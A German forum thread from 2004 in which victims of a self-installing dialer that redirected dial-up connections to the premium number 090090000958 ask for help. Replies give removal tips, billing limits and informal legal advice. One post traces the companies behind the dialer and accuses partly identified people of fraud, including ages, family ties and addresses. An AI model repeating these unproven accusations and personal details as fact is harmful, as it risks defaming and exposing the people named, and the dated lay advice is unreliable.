# HILFE DIALER über 090090000958



## Anonymous (9 Mai 2004)

ich habe auf meinen Rechner ein Dialer, der sich laufend selbst installiert, die alte DFÜ-Netzwerkverbindung "Freenet" trennt und sich dann unter 090090000958 einwählt. Die alte Netzwerkverbindung wird umbenannt in "Freenet_OLD". Habe schon alles mögliche versucht, bekomme den Dialer aber nicht vom Rechner, wer kann mir helfen ?


----------



## sascha (9 Mai 2004)

Hmmm, laut RegTP-Datenbank ein Schwede namens sexfiles.exe. 

Hast Dus schon mal mit den einschlägigen Programmen wie Spybot versucht? Ganz wichtig: Dialer bitte nur in Quarantäne und möglichst auf Diskette/CD sichern vor dem Löschen. Ist wichtig, wenn das Ding tatsächlich ungewollten finanziellen Schaden angerichtet hat.


----------



## galdikas (10 Mai 2004)

*Re: HILFE DIALER*



			
				QWERT schrieb:
			
		

> ich habe auf meinen Rechner ein Dialer, der sich laufend selbst installiert, die alte DFÜ-Netzwerkverbindung "Freenet" trennt und sich dann unter 090090000958 einwählt.



Der Dialer ist laut RegTP-Datenbank auf eine  hier samt Foto erwähnte 40-jährige Schwedin registriert (ihr Nachname ist in der Dialer-Datenbank fälschlicherweise mit nur einem -s- eingetragen). Sie ist sowohl als Strohfrau Geschäftsführerin der englischen (Briefkasten-)Firma

*HARRYS EXPO LTD*
2ND FLOOR BRAZENNOSE HOUSE
BRAZENNOSE STREET
MANCHESTER
M2 5BL,

in deren Namen hundertausende Rechnungen für angebliche Internet-Sexseiten-Besuche an schwedische Internetnutzer verschickt und dann von einer Inkassofirma *Persolvo Inkasso AB* ( ca. 1000 Strafanzeigen) eingetrieben wurden, als auch Geschäftsführerin bei der Porno-Webseitenbetreiberfirma

*Svenska Let To Phone AB*
Agneslundsvägen 14, 212 15 MALMÖ
Postfachadresse:
Box 21017 ,  200 21 MALMÖ 
Vattenverksvägen 22

Inhaberin dieser Gesellschaft ist aber nicht die sexfiles-Geschäftsführerin, sondern eine andere Strohfrau, die 30-jährige Lebensgefährtin und Mutter zweier gemeinsamer Kinder mit dem schwedischen Dialer-Programmierer und Kopf eines Internet-Sexseiten-Imperiums, ...... ( alias ....... ), Fahrer eines auf die Svenska Let To Phone zugelassenen Mercedes 500 S, bei einem offiziellen Jahreseinkommen von 40.000 (?) Kronen. Die schwedische Internetworld hatte in der Februar-Ausgabe 2004 sämtliche Beteiligte einschließlich "Fahndungs"-Fotos abgebildet ( http://internetworld.idg.se/Artiklar/modemskojarna_feb2004.pdf ). Der von ....... alias ......, dem geschäftsführenden Strohmann der *Persolvo Inkasso AB*  erhobene Vorwurf einer Persönlichkeitsrechtsverletzung wurde von der schwedischen Presseombudsfrau ........ zurückgewiesen:

"..... har namngivits och pekats ut i sin egenskap av verkställande direktör i inkassobolaget. *Han är i den rollen en offentlig person* och får finna sig i att förekomma med namn och bild i samband med en kritisk granskning av bolagets verksamhet", skriver Kerstin Bröms Lumpus, biträdande pressombudsman i det friande"
 beslutet.
( Quelle: IDG.se vom 26.2.2004 )

[ = ...... Er tritt unter seinem Namen in seiner Funktion als Leiter des Inkassounternehmens auf. In dieser Rolle ist er eine öffentliche Person. ...." ]. Sein Alias-Namen .... ist jedenfalls identisch mit demjenigen des (ehemaligen?) Inhabers des Unternehmens 

*Tattoo World*
Lundvägen 5, Malmö
http://www.tattooworldmalmo.com/index2.html

Die *Svenska Let To Phone AB* hatte unter anderem auch die Website "sexfiles.nu" betrieben. Unter der in der RegTP-Datenbank eingetragenen Adresse der "sexfiles.exe"-Dialer - Registrantin

Lundvägen 56f, 21291 Malmoe, Sweden

findet sich die

*Persolvo Inkasso AB*
Lundavägen 56,  212 25 MALMÖ 
Postadresse:
Box 50419,  202 14 MALMÖ

Außerdem hat dort die schwedische Gesellschaft Nr. 556554-2932 ihren Sitz, die

*JENS ERIKSSON CONSULTING AB* 
AKTIEFONDS-, RÄNTEFONDS- O VALUTAFONDSVERKSAMHET MM
LUNDAV 56 J,  212 25 MALMÖ 
( http://www.malmo.cc/org/org_pres.php3?nr=38539 )

Deren (vermutlicher) Inhaber war unter Angabe der Adresse

....., Lundavägen 56 K, 212 25 Malmö, Sverige

vom 10.05.2000 bis 15.04.2002 Prokurist/Geschäftsführer der -zwischenzeitlich aufgelösten- dänischen Aktiengesellschaft *IBC INTERNATIONAL A/S* ( ---> IBC GmbH Hamburg ( vermutliche Nachfolgerfirma ATS Audiovisual Telecom Services GmbH ). Die dänische IBC A/S (ehemaliger Name: MSB A/S) ist/war ein Tochterunternehmen der finnischen Gesellschaft Nr. 0943061-3

MSB *Managed Service Bureau Of Finland Oy*
Auxiliary trade name
_Persolvo Inkasso
IBC International Billing and Collection_
Mannerheimintie 87 A 1
00270 HELSINKI
( Quelle: Jyritys-Ja YHteisötietojärjestelmä )

Der in Liechtenstein ansässige Vertreter der für den sexfiles.exe-Dialer registrierungsverpflichteten, liechtensteinischen *Newlines AG*

ist in der Scheinrechnungs-Branche kein unbeschriebenes Blatt:

*UMS United Media Services GmbH* 
P.O.B. 343 - CH-6301 ZUG - Baarerstr. 43 
(Frühere Namen dieser Firma: UBS United Bureau Services GmbH) - 
Inhaber xxxxx (BRD mit Wohnsitz in Zürich) und 
......  (Liechtenstein) mit Wohnsitz in Eschen
Registernr. CH-170.4.000.865-9

Spezialität der UMS United Media Services GmbH ist es, im Ausland - z. B. Broßbritannien, auf Kundenfang zu gehen - mit rechnungsähnlich aufgemachten Formularen, die laut (AGB auf der Rückseite) durch Bezahlung oder durch Unterschrift zum Vertrag werden.
( Quelle: http://www.ergo-film.de/6-Online/6-a-Hintergundmaterial/Mehr-info/146-147-United_media.htm )

gal.


----------



## Aka-Aka (21 Mai 2004)

*Re: HILFE DIALER*



			
				galdikas schrieb:
			
		

> Der in Liechtenstein ansässige Vertreter der für den sexfiles.exe-Dialer registrierungsverpflichteten, liechtensteinischen *Newlines AG*
> 
> ist in der Scheinrechnungs-Branche kein unbeschriebenes Blatt:
> 
> ...



Hi Gal... Ich bin heute über die gleiche Stelle bei ergo-film gestolpert (mir fiel es gleich auf, weil du das Broßbritannien samt Schreibfehler übernommen hast).

Dieser G.Oe. hat einen Partner  D.A. (Firma DDDCOM, siehe ICSTIS-pdf 


			
				ICSTIS schrieb:
			
		

> ICSTIS has investigated complaints into this service and has recently submitted a report on its findings for adjudication. You can read a final report about the case on our website in due course. (...) You should write to: Mr D*A* DDD Com AG Gewerbewag 174 9493 Mauren Germany


 [Nachtrag: Das Ergebnis der Untersuchungen ist für die DDDCOM ziemlich bitter: siehe  hier 

nett: das liechtensteinische Mauren in "Germany", vielleicht auch deshalb  das hier verständlich...  [link nicht mehr existent: zeigte einen Vertrag der "Globallines" (DDDCOM+Goodlines) mit einer Kontakt-Email: [email protected]*.de von einer Firmenseite einer "MOBIL PAY AG" aus Liechtenstein, die als Verantwortliche die Herren D*A* (DDD), D*G* (Flammkuchen) und T*C* (DDD, Intertele) und als deutschen Kontakt einen "MB" aus Troisdorf nannte]

Weitere  BAKOM-Meldung als pdf .



			
				BAKOM schrieb:
			
		

> Gegen nachstehende Person/en wurde, gestützt auf die Fernmeldegesetzgebung, eine
> Verfügung erlassen:
> Nummernwiderrufsverfahren
> – DDD COM AG, Gewerbeweg 174, FL-9493 Mauren
> – DDD COM AG, Gewerbeweg 174, FL-9493 Mauren



In diesem Firmenkomplex gibt es Dialerangebote mit  pay-out-rates für nauru, Diego Garcia, Kiribati usw. (auch für "Germany") (Für was denn das???) [einige der IPs, die dort genannt werden, gehören einer deutschen Firma aus Meerbusch]

Das gehört alles zu einer ebenfalls seit Jahren bekannten Firma zweifelhaften Rufs, besser gesagt zu einer Firmengruppe, die offenbar in Liechtenstein residiert, aber eine Kontaktadresse mit deutscher Telefonnummer hat. Gerüchten zufolge findet sich die  liechtensteinische Firma  [hier: siehe  evtl. mit drei ? ] inzwischen in Brasilien (es gibt dort zumindest Pornoseiten des D.A.) [Nachtrag: mit Dialern der "Svenska let to Phone"?]

falls es mal jemand interessieren sollte, wie das alles ausführlich zusammenpasst, bitte PN. In einer Schrei-Wickel-Schaukel-Pause drösle ich das gerne genauer auf [und heute bin ich Strohwitwer, da habe ich das sogar recht intensiv aufgedröselt]


----------



## Anonymous (21 Mai 2004)

sascha schrieb:
			
		

> Hmmm, laut RegTP-Datenbank ein Schwede namens sexfiles.exe.
> 
> Hast Dus schon mal mit den einschlägigen Programmen wie Spybot versucht? Ganz wichtig: Dialer bitte nur in Quarantäne und möglichst auf Diskette/CD sichern vor dem Löschen. Ist wichtig, wenn das Ding tatsächlich ungewollten finanziellen Schaden angerichtet hat.



Und bei der Regtp liegen über 870000 ausländische Dialer zur Registrierung. Viel Spaß. 5 von 6000 Firmen registrieren jetzt schon.

Homer


----------



## Aka-Aka (23 Mai 2004)

Seit Jahren dieser Quatsch... Die meisten "Ausländer" sind Deutsche, die Zeit genug hatten, (zumindest virtuell) ins Ausland abzuwandern. Zumindest in diesem Falle gilt das. Wie bei oben erwähntem [email protected]***.de...

Oft läuft es dann z.B. so: 

[edit: Dieses Beispiel hat afaik keinen Bezug zum oben erwähnten Dialer]
Zustellungsbevollmächtigter in Deutschland ("mein Name ist Hase") 
(link funktionierte leider nicht, man findet's aber über den folgenden link) 
  eines  Inhalteanbieter, scheinbar irgendwo , aber 



			
				kahl(...)e Sängerin schrieb:
			
		

> - welch ein Zusammenspiel



 - dieser Name und diese Adresse sind mir erst gestern hier begegnet in einem auf den ersten und zweiten Blick völlig anderen Zusammenhang (Da ging es um die Gründung einer "ltd." in England, die unter dem gleichen Namen angeboten wird:  wie der Inhalt beim erwähnten Dialer  - nebenbei auch die Adresse eines deutschen Dialeranbieters, der in dem Thread zu der Frage führte...

Alles zusammenhangs- und bedeutungslos, klar, aber: nett


----------



## Aaron (23 Mai 2004)

Ich liebe hintergruendige Unterstellungen, besonders wenn sie so herrlich falsch sind.

Naja, das war jetzt erstmal mein letzter Beitrag hier im Forum. Ich hab keine Zeit fuer so etwas... hat aber Spass gemacht  :lol:


----------



## dvill (23 Mai 2004)

Ein wenig unhöflich ist das schon, hier reingeschneit zu kommen, einige Fragen aufzuwerfen und dann angeblich keine Zeit für ein paar Antworten zu haben. Es reiht sich ein in eine gewisse "Tradition". Wir haben verstanden.

Dietmar Vill


----------



## Aka-Aka (23 Mai 2004)

Aaron schrieb:
			
		

> Ich liebe hintergruendige Unterstellungen, besonders wenn sie so herrlich falsch sind.
> Naja, das war jetzt erstmal mein letzter Beitrag hier im Forum. Ich hab keine Zeit fuer so etwas... hat aber Spass gemacht  :lol:


Das wäre aber schade. Und vor allem entgeht mir dann die interessante Begründung, wo da eine Unterstellung zu finden sein soll...
Es sind nämlich nur Feststellungen zu finden, oder kennen Sie die Adresse ihrer eigenen Firma nicht? Dass dies ein zufälliges Zusammentreffen ist, das bedeutungslos sein dürfte, habe ich selbst deutlich gemacht mit dem ironischen Hinweis auf die "kahle Sängerin" von Eugene Ionesco.
 Ein brillantes Stück . Der "Mr Smith" ist meine Lieblingsrolle...
Dass es da Adressparallelen gibt, ist ja recht leicht zu erklären, denke ich: Die Adresse in Birmingham gehört ja offenbar jemandem, der in dem (meines Wissens, ich meine: bedauerlicherweise) völlig legalen "lass-uns-eine-Firma-in-aka-aka-Land-gründen"-Business eine große Nummer ist. 


			
				meine wenigkeit schrieb:
			
		

> dieser Name und diese Adresse sind mir erst gestern hier begegnet in einem auf den ersten und zweiten Blick völlig anderen Zusammenhang .


Also wenn Sie mir eine Unterstellung vorwerfen, wo soll die sein?
cj
____
originalposting & zitat grammatikalisch korrigiert


----------



## Reducal (23 Mai 2004)

Reisende soll man nicht aufhalten! Gerade jetzt, wo die letzten Kurzzeitgäste aus Malle ins kalte Deutscheland zurück gekehrt sind, könnte der eine oder andere Rundruf womöglich zu bislang ungeahnten Erkenntnissen geführt haben. Mancher sollte eben doch bei seinen Leisten bleiben - den Leistenbruch besorgen dann eh zumeist die anderen! :lol:


----------



## Anonymous (26 Mai 2004)

*Schweden-Dialer*

Servus,

ich habe mir gerade mal die Mühe gemacht die ganzen Informationen zu lesen. Dummerweise habe ich diesen Drecksdialer seit heute auch auf meinem System und kann keine Lösung finden ihn zu beseitigen. Leider steht auch in den "Akten" nichts drin. By the way, kann mir jemand sagen, ob der Dialer auch bei Kabel-Verbindungen (Multikabel-Internet) Schaden anrichten kann ? Habe leider viel zu wenig Ahnung davon....

Grüße nach Schweden und in die restliche Betrügerwelt.

guido


----------



## Aka-Aka (27 Mai 2004)

Es gibt noch mehr dialer, die mit der "Newlines" aus Liechtenstein in Zusammenhang stehen:

zB:
http://bo2005.regtp.de/prg/srvcno/d...245390&sScriptID=67&regnr=90090000548-1245390

http://bo2005.regtp.de/prg/srvcno/d...245391&sScriptID=67&regnr=90090000549-1245391

http://bo2005.regtp.de/prg/srvcno/d...245392&sScriptID=67&regnr=90090000550-1245392

http://bo2005.regtp.de/prg/srvcno/d...245393&sScriptID=67&regnr=90090000551-1245393

Ältere Forenmitglieder mit guten Gedächtnissen werden sich an den ein oder anderen Beteiligten erinnern...


----------



## technofreak (27 Mai 2004)

*Re: Schweden-Dialer*



			
				Durango schrieb:
			
		

> By the way, kann mir jemand sagen, ob der Dialer auch bei Kabel-Verbindungen
> (Multikabel-Internet) Schaden anrichten kann ? Habe leider viel zu wenig Ahnung davon....



Das kommt darauf an , sprich wie der Rückkanal (Upload) realisiert ist,  wenn der auch über das
Kabel geht , gibt es keine (finanzielle) Gefahr (wie bei DSL) , wenn er über eine Telefonverbindung geht 
leider ja! 

tf


----------



## incM (2 Juni 2004)

also bei mir hat ein trojaner namens (svchost.exe, "zufaellig" gleichnamig mit dem systemtask) die nummern meiner dfue verbindungen ueberschrieben mit obiger nummer.
normales oeffen des explorers hat natuergemaess dazu gefuehrt das ich mich ins netz eingeloggt habe, ohne aber zu wissen das es ueber diese b.... lief. ca. 2 tage ... etwa +10 logins. 
was soll ich nun machen?

nen richtigen dialer hab ich nie auf dem rechner gehabt, geschweige denn wurde mir jemals was ueber kosten etc angezeigt.

wer hat aehnliche erfahrung gemacht und wie sind die erfolgsaussichten von solchen b.... noch vor gericht gezerrt zu werden?

_[Edit: Siehe NUB - HDUS]_


----------



## neward (4 Juni 2004)

*@ incM*

Wenn du die svchost.exe sichergestellt hast (incl. Sicherheitskopie auf separatem Datenträger) und sie bei Aufruf - am besten unter Zeugen - immer noch dasselbe macht, dann - würde ich sagen - kommt das einem illegalen Dialer gleich.

Also: Genauso verhalten wie bei einem solchen, z.B.  http://forum.computerbetrug.de/viewtopic.php?t=5672&postdays=0&postorder=asc&start=5 (im Thread http://forum.computerbetrug.de/viewtopic.php?t=5672 ). (Natürlich ohne die Hashwert-Bestimmung.)

Werner


----------



## Anonymous (13 Juni 2004)

*Krasse Sache*

Gut das ich bei dem Scheiss nen 0190 warner hatte!Bei mir hat er die Nr auch überschrieben!Habs aber sozusagen innerhalb von 10min gemerkt das er das tut....da mich der warner gewarnt hat....aber leider war er da schon drin!Habe die telekom angerufen und alle 0900 nr sperren lassen!Auch die Nr. 0900 90000957 bzw 58!Ok nun waren es ca 10min....was werde ich den blechen müssen?Werde zwar widerspruch dagegen einlegen!Aber da ich azubi bin kann ich mir keine Rechnung über zb. 400Euro leisten!Was kostet die Minute bei dieser Nr. hat einer eine Ahnung?


----------



## Reducal (13 Juni 2004)

*Re: Krasse Sache*



			
				Kerouac schrieb:
			
		

> ... Auch die Nr. 0900 90000957 bzw 58!Ok nun waren es ca 10min....was werde ich den blechen müssen?Werde zwar widerspruch dagegen einlegen!Aber da ich azubi bin kann ich mir keine Rechnung über zb. 400Euro leisten!Was kostet die Minute bei dieser Nr. hat einer eine Ahnung?


Kommt auf das Billingverfahren an - entweder im Blocktarif für max. 30 € oder im Minutentakt für max. 2 €/Min (bei Dir dann vielleicht 20 €). Orientiere Dich hier mal: http://bo2005.regtp.de/prg/srvcno/dialer.asp
Nur einfach widersprechen dürfte schwierig werden, da sich die T-Com auf die Registrierung in der RegTP-Datenbank berufen wird. Hast Du schon mal nach der sexfiles.exe gesucht?


			
				RegTP schrieb:
			
		

> *Beschreibung:*
> 
> a) Dem Kunden wir ein Active-X angeboten. b) Der Kunde kann entscheiden, ob er das Active-X annehmen oder ablehnen moechte. c1) Nimmt der Kunde das Active-X an, so bekommt er das Anwaehlprogamm in Form einer HTML-Seite angeboten. c2) Nimmt der Kunde das Active-X nicht an, so bekommt er die exe-Version des Anwaehlprogrammes angeboten. Der Kunde muss den Download des Anwaehlprogrammes bestaetigen. Nach dem Download kann das Anwaehlprogramm lokal gespeichert oder geoeffnet werden. d) Der Kunde kann das Anwaehlprogramm nun ausfuehren. e) Der Kunde kann die AGBs lesen, speichern und/oder drucken. f) Die Version des Anwaehlprogrammes und der Hashwert (nach RIPEMD-160) wird dem Kunden angezeigt. g) Das Dialeranbieter-Kuerzel (NCC), die Mehrwertdiensterufnummer sowie die Preisangabe werden dem Kunden angezeigt. h) Der Kunde kann die Version sowie den Hashwert des Anwaehlprogrammes unter http://www.regtp.de ueberpuefen. i) Die Adresse des Registrierungsverpflichteten, des Inhalteanbieters sowie eine Support-Email-Adresse werden angegeben. j) In Deutschland muss der Kunde die Buchstabenkombination "O" und "K" eintippen, um eine Verbindung zur Mehrwertdiensterufnummer herstellen zu koennen. k) Das Anwaehlprogramm bietet entgeltlich Zugriffszeiten zu geschuetzten Webseiten/Daten verschiedener Anbieter an. l) Die vorhandene Internetverbindung wird vom Anwaehlprogramm getrennt und eine kostenpflichtige Verbindung ueber eine Mehrwertdiensterufnummer aufgebaut. m) Der Zugriff auf die angebotenen Daten kann durch Verwendung jedes ueblichen Internetbrowsers erfolgen. n) Es wird ein neues Browserfenster geoeffnet und der kostenpflichtige Inhalt angezeigt. o) Tarif und Abbrechen-Button werden waehrend der Verbindung permanent in der rechten unteren Ecke des Desktops angezeigt. p) Ein Verlassen des kostenpflichtigen Inhaltes wird mittels "Weg-Surf-Sperre" verhindert. q) Die Inanspruchnahme der Dienstleistung kann jederzeit ueber den "Abbrechen"-Knopf oder durch Trennung der DFUE-Verbindung herbeifuehrt werden. r) Das Anwaehlprogramm unterbricht die Verbindung zur Mehrwertdienstenummer automatisch spaetestens nach 60 Minuten. s) Die Kosten der Inanspruchnahme richten sich nach dem im Anwaehlprogramm ersichtlichen Tarif, der wie dort angegeben abgerechnet wird. t) Die Kosten werden mit der Telefonrechnung des Inhabers des jeweils benutzten Telefonanschlusses abgerechnet. u) Der Kunde kann durch das Klicken auf den "Deinstallieren"-Link die Einwahlsoftware jederzeit und ohne weiteres von seinem Rechner entfernen.?


----------



## Anonymous (13 Juni 2004)

Da es mein Privat Pc ist habe ich ganz einfach mein Windows neu installiert da eh nix wichtiges drauf war!Und ich den Pc größententeils nur zum fun nutze!Das hat mir aber echt angst gemacht mit dem Dialer, fands total krass als ich auf status ging und sah das da ne andre nr steht weil ich wissen wollte ob er mit dem verbunden ist und er war es!Ich verstehe nicht wie das gehen kann ich meine wenn ich mich bei arcor anmelde gibt es piepen/knarren etc!Und dann bin ich für keine ahnung 30sek mit arcor verbunden dann mit diese 0900er nr!Kann das voll nicht nachvollziehen!Naja 20 Euro sind auch noch ertragbar!


----------



## Anonymous (20 Juni 2004)

*DialerX*

Hallo an alle!

Ich habe jetzt immer die einwahlnummer 090090000958 im DFÜ-Netzwerk
und war damit leider auch 2 Stunden Online.
Kann mir jemand helfen und sagen ob ich die Rechnung zahlen muss obwohl sich das Programm ohne meine zustimmung sondern über Spammail aktiviert hatt ? Wie hoch kann die Rechnung werden ?

Vielen Dank im vorraus ! Stefan

(habe auch eine Datei "DialerX im Windows verzeichnis gefunden)


----------



## Anonymous (20 Juni 2004)

Hallo,

ich bin auch sowohl auf die 57 als auch auf die 58 iger Nummer reingefallen und kann jetzt noch gar nicht sagen, wie oft und wie lange ich damit drinne war. die dialerx.exe habe ich auch gefunden. Nur bin ich nicht sicher ob die wirklich damit zusammenhängt. Nachdem ich das alles bemerkt hatte, habe ich mehrere Programme durchlaufen lassen die neben dieser exe-datei auch noch anderes gefunden haben.
Ich hab ja nicht viel Ahnung davon, aber wenn sich ein dialer in Windows die Internetwahlnummern verändert (Also bei mir wurden keine neuen Verbindungen erstellt sondern die alten manupuliert!) ohne mein Einverständnis und ohne das ich irgendwo geklickt habe, dann halte ich das persönlich für illegal, auch wenn die vielleicht bei der RegTP registriert sind.
Ich hoffe mal dass wenn jetzt immer mehr betroffen sind, dass sich da die ganze Sache zum positiven wendet...hat denn schon jemand irgendwie einen Erfolg verbuchen können???


----------



## Anonymous (21 Juni 2004)

*DialerX*

Hallo,

ich habe wegen dem Dialer (welcher sich ohne meine kenntniss oder bestätigung installiert hat) mit der Nummer 090090000958 bei der Reg.-behörde Angerufen. Der Dialer ist derzeit registriert jedoch soll ich den Dialer und andere Beweisdateien hinschicken, damit der Dialer erneut geprüft wird und die Registrierung gegebenenfalls zurückgezogen wird. Dadurch würde eine Bezahlung dieses Dialers nicht mehr rechtmässig zwingend sein. Ich hoffe andere senden ihre infos auch damit dieses problem ernst genommen wird.

M.f.g. Stefan


----------



## Anonymous (21 Juni 2004)

*DialerX*

-> Stefan_01

/*ich habe wegen dem Dialer (welcher sich ohne meine kenntniss oder bestätigung installiert hat) mit der Nummer 090090000958 bei der Reg.-behörde Angerufen. Der Dialer ist derzeit registriert*/

Wie kann Dialer regiestriert sein?!!
Der Nummer "090090000958" ist regiestriert! Aber das heisst doch lange nicht, dass das Dialer selbst ist regiestriert, oder? Hast Du Hash-Wert vom Dialer? Ist er in Datenbank?


----------



## Anonymous (23 Juni 2004)

Also wenn ich den dialer starte, passiert eigentlich gar nix. Weder eine Einwahl noch eine Fehlermeldung von meinem (jetzt installierten) Dialerwarner. Aber ich werde das Programm sicher auch an die RegTP schicken, dort sollten ja eigentlich die Fachmänner sitzen die das Ding auseinandernehmen können.


----------



## Reducal (23 Juni 2004)

gast schrieb:
			
		

> Also wenn ich den dialer starte, passiert eigentlich gar nix. Weder eine Einwahl noch eine Fehlermeldung von meinem (jetzt installierten) Dialerwarner. Aber ich werde das Programm sicher auch an die RegTP schicken, dort sollten ja eigentlich die Fachmänner sitzen die das Ding auseinandernehmen können.


Du startest den Dialer, den die Fachmänner sezieren sollen - KÄSE! Der Dialer wird u. U. von diversen Hilfsdateien oder Scripten gestartet und die Analysten werden an der Datei auch nichts besonderes feststellen können.
Diese Technologien sind derzeit ziemlich "in" und wer sich vorher nicht geschützt hat, ist nun Inhaber des "Schwarzen Peter". :evil:


----------



## 82Raven (24 Juni 2004)

Tja, ich hat ihn wohl auch. :bigcry: 

Vor zwei Tagen hatte ich 2 lustige Icons auf meinem Bildschirm zu einer datei namens DialerX.exe in meinem Windowsverzeichnis.
Ich löschte sofort die Links und auch die Datei und wähnte mich in Sicherheit.
Meiner Freundin fiel gestern auf,
das meine eingestellte call by call dfü Verbindung die Nummer
090090000958 wählte.
Ich änderte dies sofort.
Heute bekomme ich einen netten Anruf von der Deutschen Telekom,
das ich nächsten Monat 160€ mehr für die Nutzung dieser Nummer zahlen muß.Ich hab sofort alle Sonderrufnummern etc. sperren lassen.
Wenn ich das hier jetzt alles richtig verstanden habe, werd ich diese 160€
nicht überweisen und auf dem Überweisungsträger den entsprechenden Posten angeben.
Und dann einfach abwarten.Mahnungen nicht beachten und bin trotzdem auf der sicheren Seite? :-?


----------



## Der Jurist (24 Juni 2004)

Werfe einen Blick in unseren Erste-Hilfe-Kasten. Einfach die blaue Schrift anklicken.


----------



## Anonymous (26 Juni 2004)

*wer hat Recht*

es geht doch im Kern nur darum, ob die Funktionsweise, die 82Raven dargestellt hat nachweisbar so darstellbar ist. Sollte das der Fall sein, entspricht das Ding nicht der bei der RegTP hinterlegten Beschreibung und verwirkt damit die Registrierung - ergo keine Zahlungspflicht. Man kann das wohl so "unaufgeregt" sehen.
Tobias


----------



## Anonymous (27 Juni 2004)

Raven, falls du es noch nicht getan hast, solltest du besser die dialerx.exe nicht ganz löschen, sondern erstmal im Papierkorb lassen. 
@reducal: Wenn ich dich da richtig verstanden habe, ist dann eigentlich die Datei total wertlos als Beweis. Das heisst ich müsste auf die Telefonrechnung warten, die Zeiten mir anschauen und über die Cookies hoffen, dass ich die entsprechende Internetseite finde?


----------



## Reducal (27 Juni 2004)

gast schrieb:
			
		

> @reducal: Wenn ich dich da richtig verstanden habe, ist dann eigentlich die Datei total wertlos als Beweis. Das heisst ich müsste auf die Telefonrechnung warten, die Zeiten mir anschauen und über die Cookies hoffen, dass ich die entsprechende Internetseite finde?


Ja, so sehe ich das. Aber in den Cookies wird wahrscheinlich nicht das drin stehen, was Du erwartest - deratige Technologien legen i. d. R. keine Cookies an. Man könnte noch die Temporary Internet Files sichern und später mal darin suchen, was passiert war. Doch auch dortige Einträge werden normaler Weise von den Dubiosos nicht initiert. Es geht um lediglich temporär angelegte Steuerungen, die schlichtweg nach der Internetsession oder spätestens nach dem Herunterfahren des Rechners unwiederbringlich gelöscht sind.
Du hattest geschrieben, dass die Datei sich nicht mit dem Internet verbindet, wenn Du sie ausführst. Worauf schließt Du, dass das überhaupt ein Dialer ist?
Man kann annehmen, dass missbräuchlich in Umlauf gebrachte Dialerdateien sich manchmal entweder selbst löschen oder durch Hilfsdateien (oder fremde Steuerungen aus dem Internet) so verändert werden, dass sie verstümmelt und unbrauchbar geworden sind.


----------



## Anonymous (27 Juni 2004)

*Dialer*

Für mich stellt sich vor allem die Frage, ob die bei RegTp angegebenen Merkmale des Dialers stimmen: Fordert er ein OK an oder nicht? Wenn er wirklich ein OK anfordert, sehe ich nicht, wie man sich gegen die Zahlung wehren soll. Wie seht Ihr das?


----------



## Qoppa (28 Juni 2004)

@Archie
sonderbare Frage: eigentlich sollte jeder Betroffene doch selbst wissen, ob er dreimal (!) OK eingegeben hat, - das ist ja doch tatsächlich eine deutliche Verbesserung gegenüber "Bestätigung" durch einfachen Klick. 

Allerdings ist nicht auszuschließen, daß ein ordentlich registrierter OK-Dialer auch durch eine gewisse Automatisierungsnachhilfe gestartet werden kann ...

Entscheidend ist aber auch, was man denn durch OK bestätigt hat: einen Vertrag über eine bestimmte Leistung für ein bestimmtes Entgelt einzugehen. Und hier hapert es meiner Meinung nach doch bei den meisten Angeboten, wenn die Preisangabe versteckt wird usw. Hier stellt sich die Frage, ob das "Angebot" klar genug gekennzeichnet war, daß es wirklich zu einem Vertrag gekommen ist. Das LG Mannheim hat sich sehr deutlich über "erhebliche Irreführungsgefahr" mancher Dialerseiten geäußert.

Es gab hierzu auch eine erhellende juristische Ausführung, die ich nochmal zitieren möchte:


			
				galdikas schrieb:
			
		

> Es ist nämlich gesetzlich geregelt, daß Zweifel zu Lasten des e-commerce-Unternehmers gehen, der Kunden nicht klar, verständlich und rechtzeitig über die Bedeutung von Eingaben als Bestellung einer Vertragsleistung informiert:
> 
> "Bedient sich ein Unternehmer zum Zwecke des Abschlusses eines Vertrags über die die Erbringung von Dienstleistungen eines Tele- oder Mediendienstes (Vertrag im elektronischen Geschäftsverkehr), hat er den Kunden rechtzeitig vor Abgabe von dessen Bestellung klar und verständlich über die einzelnen technischen Schritte zu informieren, die zu einem Vertragsschluss führen", § 312e BGB, § 3 BGB-InfoVO.
> 
> ...


----------



## Anonymous (28 Juni 2004)

Moin, Qoppa,

hast ja Recht, aber mein Problem ist, dass es sich um den Computer meines Sohnes handelt, der auch noch schlauerweise die Temp Internet Files und Cookies gelöscht hat, so dass ich auch nicht herausfinden kann, wo der junge Mann denn nun gesurft und sich das Ding eingefangen hat. Daher die Frage, weil ich natürlich wissen möchte, ob es überhaupt Sinn macht, den Aufwand zu betreiben, bei der Telekom Widerspruch einzulegen. Deine Antwort war da aber weiterhelfend. Danke!


----------



## Der Jurist (28 Juni 2004)

Werfe einen Blick in unseren Erste-Hilfe-Kasten. Einfach die blaue Schrift anklicken.

Und

Welche Daten werden von wem und wo gespeichert. . Einfach auch hier die blaue Schrift anklicken.


----------



## Anonymous (28 Juni 2004)

Du hast natürlich recht. Dass die dialerx.exe damit zusammenhängt kann ich nicht 100%ig sagen. Aber weiter oben hatte jemand anders die Datei im Zusammenhang mit den 0900-Nummern genannt und auch in den Cookies ist auch was von entsprechenden Seiten exakt zum Erstellungszeitpunkt der Datei drinne. Vielleicht werde ich dann mehr erfahren wenn ich die Telefonrechnung bekomme!


----------



## Anonymous (3 Juli 2004)

*Re: HILFE DIALER*



			
				Aka-Aka schrieb:
			
		

> galdikas schrieb:
> 
> 
> 
> ...


Ergänzung: Der Seiteninhaber der ...com.com war 2003 für die Heppenheimer bei der Eurowebtainment dabei (das fand ich gerade eher zufällig bei spammer-hammer:In einem anderen Zusammenhang.

_ url editiert siehe NUB _


----------



## krokult (6 Juli 2004)

*090090000958*

Hallo,
von der Regulierungbehörde wurde mir mitgeteilt, daß gegen
diese Nummer bzw. gegen deren Betreiber "New Lines" aus 
Lichtenstein ermittelt wird.

Muß ich diese Dialer-Rechnung jetzt bezahlen oder Einspruck einlegen?

Bitte um weitere Infos /Betroffene zu diesem Anbieter
auch gerne an meine eigene Email-Adresse:

[email protected]*****.de

Gruß
und vieln Dank

_ Fragen im Forum sollten auch in diesem beantwortet werden. Ausserdem sowieso keine E-Mailadressen hier veröffentlichen. Dazu gibt es die PN hier. Du bist ja schliesslich angemedet.. * BT/MOD*_


----------



## Aka-Aka (6 Juli 2004)

*Re: 090090000958*



			
				krokult schrieb:
			
		

> Hallo,
> von der Regulierungbehörde wurde mir mitgeteilt, daß gegen
> diese Nummer bzw. gegen deren Betreiber "New Lines" aus
> Lichtenstein ermittelt wird.


